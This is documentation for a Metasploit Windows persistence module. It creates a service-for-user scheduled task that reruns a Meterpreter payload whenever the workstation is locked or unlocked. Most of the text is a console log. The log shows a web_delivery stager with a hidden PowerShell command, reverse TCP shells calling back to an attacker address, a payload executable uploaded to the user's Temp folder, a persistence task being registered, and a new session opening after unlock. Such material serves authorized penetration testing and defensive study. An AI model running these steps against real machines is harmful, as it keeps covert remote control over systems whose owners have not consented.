## Vulnerable Application

Creates a scheduled task that will run using service-for-user (S4U).
This allows the scheduled task to run even as an unprivileged user
that is not logged into the device. This will result in lower security
context, allowing access to local resources only. The module
requires 'Logon as a batch job' permissions (SeBatchLogonRight).

This triggers on either a lock or unlock of the workstation.

## Verification Steps

1. Start msfconsole
2. Get a user level shell
3. Do: `use exploit/windows/persistence/service_for_user/lock_unlock`
4. Do: `set session #`
5. Do: `run`
6. Lock or unlock the system
7. You should eventually get a shell.

## Options

### TRIGGER

Payload trigger method. Defaults to `unlock`, choices are: `lock`, `unlock`

### EXPIRE_TIME

Number of minutes until trigger expires. Defaults to `0`

### PAYLOAD_NAME

Name of payload file to write. Random string as default.

### TASK_NAME

The name of task. Random string as default.

## Scenarios

### Windows 7 (6.1 Build 7601, Service Pack 1)

Initial shell

```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 2
target => 2
resource (/root/.msf4/msfconsole.rc)> set srvport 8085
srvport => 8085
resource (/root/.msf4/msfconsole.rc)> set uripath w2
uripath => w2
resource (/root/.msf4/msfconsole.rc)> set payload payload/windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4449
lport => 4449
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 1.1.1.1:4449 
[*] Using URL: http://1.1.1.1:8085/w2
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e  
msf exploit(multi/script/web_delivery) > 
[*] 2.2.2.2    web_delivery - Powershell command length: 3712
[*] 2.2.2.2    web_delivery - Delivering Payload (3712 bytes)
[*] Sending stage (230982 bytes) to 2.2.2.2

msf exploit(multi/script/web_delivery) > [*] Meterpreter session 1 opened (1.1.1.1:4449 -> 2.2.2.2:49801) at 2025-12-26 16:44:47 -0500

msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : WINDOWS7
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x64/windows
meterpreter > getuid
Server username: windows7\windows
meterpreter > background
[*] Backgrounding session 1...
```

Install persistence

```
msf exploit(multi/script/web_delivery) > use exploit/windows/persistence/service_for_user/lock_unlock 
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(windows/persistence/service_for_user/lock_unlock) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/persistence/service_for_user/lock_unlock) > set session 1
session => 1
msf exploit(windows/persistence/service_for_user/lock_unlock) > exploit
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 1.1.1.1:4444 
msf exploit(windows/persistence/service_for_user/lock_unlock) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target is likely exploitable
[*] Uploading C:\Users\windows\AppData\Local\Temp\gJBmPcpAn.exe
[+] Successfully Uploaded remote executable to C:\Users\windows\AppData\Local\Temp\gJBmPcpAn.exe
[+] Successfully wrote XML file to C:\Users\windows\AppData\Local\Temp\fGMeBGOMRYMUd.xml
[+] Persistence task oftkeQLa created successfully
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WINDOWS7_20251226.4527/WINDOWS7_20251226.4527.rc
```

Lock the system, and unlock it

```
msf exploit(windows/persistence/service_for_user/lock_unlock) > 
[*] Sending stage (188998 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49802) at 2025-12-26 16:45:58 -0500
```
